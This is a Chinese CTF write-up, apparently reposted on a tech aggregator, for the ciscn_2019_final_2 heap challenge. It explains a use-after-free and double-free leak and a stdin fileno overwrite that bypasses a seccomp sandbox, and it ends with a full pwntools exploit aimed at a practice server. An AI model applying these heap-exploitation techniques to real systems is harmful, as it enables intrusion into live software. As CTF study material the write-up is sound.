IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 网络协议 -> Pwn-Ciscn_2019_Final -> 正文阅读

[网络协议]Pwn-Ciscn_2019_Final

Ciscn_2019_Final

感觉是一道很好的堆题,使用了很多技巧以及做题思路,包括了uaf,_IO_2_1_stdin,double_free,还有 _IO_2_1_stdin_fileno,这些技巧。

IDA分析:

main函数:

在这里插入图片描述

init函数:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-k3bKsxbe-1646986999855)(F:\MarkDownS\HEAP\Ciscn_2019_Final\image-20220311140401071.png)]

沙箱:(少截取一点为无所谓)

[(F:\MarkDownS\HEAP\Ciscn_2019_Final\image-20220311140421942.png)]

allocate函数:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YDO8iIjw-1646986999857)(F:\MarkDownS\HEAP\Ciscn_2019_Final\Ciscn_2019_Final\image-20220311141153638.png)]

这里面每次无论add了int还是short int 都会把bool修改成1。

delete函数:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-D1CXIRnS-1646986999857)(F:\MarkDownS\HEAP\Ciscn_2019_Final\Ciscn_2019_Final\image-20220311141223199.png)]

? del有一段特殊判定,就是bool的判定,因为bool的存在,导致了没有办法连续释放int或者short int。但是,却可以add1之后再free2,也就是说如果在free2之前先add1就嫩做到连续free了。

还有一点,就是free的对象是针对于int_pt和short_pt的,而且不会清除这两个参数,所以说,就能做到double_free了。

show函数:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-aHNNmdVA-1646986999858)(F:\MarkDownS\HEAP\Ciscn_2019_Final\Ciscn_2019_Final\image-20220311141600211.png)]

? 这里同样有漏洞,也就是printf的时候能直接把free掉的heap打印出来,所以泄露就是可以用show

bye_bye:

思路分析:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-gatDO8nD-1646986999859)(F:\MarkDownS\HEAP\Ciscn_2019_Final\Ciscn_2019_Final\image-20220311145824628.png)]

? 保护全开,有点痛苦

? 首先来分析init()函数,一般来说,init函数是没有什么重要的东西的,但是在这个函数中,有一个奇怪的初始化,先打开本地的flag文件,如果没有,就报错退出。然后就是这个DUP2函数,dup函数就是把flag的文件描述符修改为了666,还有一个新的知识点,__fileno,是用来规定fd指向的文件流的,也就是说,如果把__fileno的数据值改为了666,就可以在读入的时候把flag输入进去,然后就可以输出flag了。

? 为什么要用这种方式来得到flag呢?主要是因为SANDBOX的启用,sandbox就是沙箱,它规定了那些函数是白名单,那些函数是黑名单,一旦调用了黑名单之中的函数,就会退出。使用seccomp-tools可以查看
在这里插入图片描述

? 可以看到,execve被直接禁用,所以没有办法得到/bin/sh,所以没法使用system("/bin/sh"),所以只能使用修改__io_才能得到flag。所以这道题的最终目的就已经知道了,就是修改fileno为666

? 首先,对于2.27的程序来说,一般的泄露有两种,一种是在7个tcahe_bin之后进入应该进入的chunk,按道理使用的是unsorted_bin,这样就能泄露出main_arena的位置以及libc的基地址,另一种就是使用large_bin(我并不会)。所以只能尝试unsorted_bin来搞。但是有一个问题,在提供的alloc中,malloc的时候只会给0x20和0x30的大小,如何修改一下这些东西,只能靠漏洞去修改,就想到了uaf。用了uaf之后就可以show(),然后得到自己的地址,找到自己的地址之后计算偏移,就可以找到希望修改的地址的值。

##################################################################################
#泄露
add_1(0x10)
free_1()
add_2(0x10)
add_2(0x10)
add_2(0x10)
add_2(0x10)
free_2()
add_1(0x10)
free_2()
show(2)
p.recvuntil('your short type inode number :')
addr = int(p.recvuntil('\n', drop=True))
##################################################################################
#修改目标地址的大小为0x91,使其能够进入unsorted_bin
add_2(addr-0xa0)
add_2(addr-0xa0)
add_2(0x91)
##################################################################################

然后使用循环以及doule_free来让这个0x90的chunk进入unsortedbin,并且使用show来找到libc的基地址,以及__io_2_1_stdin_fileno___

###################################################################################泄露libc基地址
free_1()
for i in range(7):
	add_2(0x10)
	free_1()
show_1()
p.recvuntil('your int type inode number :')
main_arena = int(p.recvuntil('\n', drop=True))
malloc_hook = main_arena - 96-0x10
libc_base = malloc_hook - libc.sym['__malloc_hook']
addr__IO_2_1_stdin__fileno = libc_base + libc.sym['_IO_2_1_stdin_'] + 0x70
##################################################################################

? 上一步结束之后,现在还有一个double_free的状态,然后把得到的fileno输入进去,而且改出来一个0x30大小的chunk

add_1(addr__IO_2_1_stdin__fileno)
add_1(0x31)

? 接下来再使用一次double_free,找到现在的short的fd的位置,并且泄露出来,经过计算,就能求得上面写了fileno的地址。利用double_free的操作,就能修改为666了

##################################################################################
free_1()
add_2(0x20)
free_1()
show_1()
p.recvuntil('your int type inode number :')
unknow = int(p.recvuntil('\n', drop=True)) -0x30

add_1(unknow)
add_1(unknow)

add_1(111)
add_1(666)
##################################################################################

思路总结:

  1. 修改chunk基本大小,得到unsorted_bin大小的chunk
  2. 通过show泄露基地址,得到个希望的值
  3. 使用double_free以及其他方式修改stdin的fileno为666,就能从flag中读取文件
  4. 触发bye-bye得到flag

? 最后上完整exp:

# -*- coding: UTF-8 -*-
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
local_file  = './ciscn_final_2'
libc = ELF('/home/yjc/Desktop/Libc/U18/libc-2.27-64.so')
select = 1

if select == 0:
    p = process(local_file)
    #gdb.attach(p)
else:
    p = remote('node4.buuoj.cn',25545)
    #libc = ELF(remote_libc)
elf = ELF(local_file)

def add_1(buf):
	p.recvuntil('> ')
	p.sendline(str(1))
	p.recvuntil(">")
	p.sendline(str(1))
	p.recvuntil('your inode number:')
	p.sendline(str(buf))
def free_1():
	p.recvuntil('> ')
	p.sendline(str(2))
	p.recvuntil(">")
	p.sendline(str(1))

def add_2(buf):
	p.recvuntil('> ')
	p.sendline(str(1))
	p.recvuntil(">")
	p.sendline(str(2))
	p.recvuntil('your inode number:')
	p.sendline(str(buf))
def free_2():
	p.recvuntil('> ')
	p.sendline(str(2))
	p.recvuntil(">")
	p.sendline(str(2))


def show_1():
	p.recvuntil('> ')
	p.sendline(str(3))
	p.recvuntil(">")
	p.sendline(str(1))

def show_2():
	p.recvuntil('> ')
	p.sendline(str(3))
	p.recvuntil(">")
	p.sendline(str(2))

def bye(buf):
	p.recvuntil('> ')
	p.sendline(str(4))
	p.recvuntil('what do you want to say at last?\n')
	p.sendline(buf)




###########################################################
add_1(0x10)
free_1()
add_2(0x10)
add_2(0x10)
add_2(0x10)
add_2(0x10)
free_2()
add_1(0x10)
free_2()
###########################################################
show_2()#double_free
###########################################################
p.recvuntil('your short type inode number :')
addr = int(p.recvuntil('\n', drop=True))
###########################################################

add_2(addr-0xa0)
add_2(addr-0xa0)
add_2(0x91)

free_1()
for i in range(7):
	add_2(0x10)
	free_1()
show_1()
p.recvuntil('your int type inode number :')
main_arena = int(p.recvuntil('\n', drop=True))
malloc_hook = main_arena - 96-0x10
libc_base = malloc_hook - libc.sym['__malloc_hook']
addr__IO_2_1_stdin__fileno = libc_base + libc.sym['_IO_2_1_stdin_'] + 0x70

add_1(addr__IO_2_1_stdin__fileno)
add_1(0x31)

free_1()
add_2(0x20)
free_1()
show_1()
p.recvuntil('your int type inode number :')
unknow = int(p.recvuntil('\n', drop=True)) -0x30

add_1(unknow)
add_1(unknow)

add_1(111)
add_1(666)

p.sendlineafter('which command?\n> ', '4')
p.recvuntil('your message :')
# gdb.attach(p)
print('main_arena   : ' + hex(main_arena))
print('malloc_hook  : ' + hex(malloc_hook))
print('libc_base    : ' + hex(libc_base))
print('addr__IO_2_1_stdin__fileno    : ' + hex(addr__IO_2_1_stdin__fileno))
# print('unknow       : ' + hex(unknow))
p.interactive()

参考文章:[https://blog.csdn.net/mcmuyanga/article/details/114632716,https://www.cnblogs.com/luoleqi/p/12409143.html],很感谢两位大佬的思路

?

  网络协议 最新文章
使用Easyswoole 搭建简单的Websoket服务
常见的数据通信方式有哪些?
Openssl 1024bit RSA算法---公私钥获取和处
HTTPS协议的密钥交换流程
《小白WEB安全入门》03. 漏洞篇
HttpRunner4.x 安装与使用
2021-07-04
手写RPC学习笔记
K8S高可用版本部署
mySQL计算IP地址范围
上一篇文章      下一篇文章      查看所有文章
加:2022-03-15 23:04:40  更:2022-03-15 23:07:43 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/26 5:19:03-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码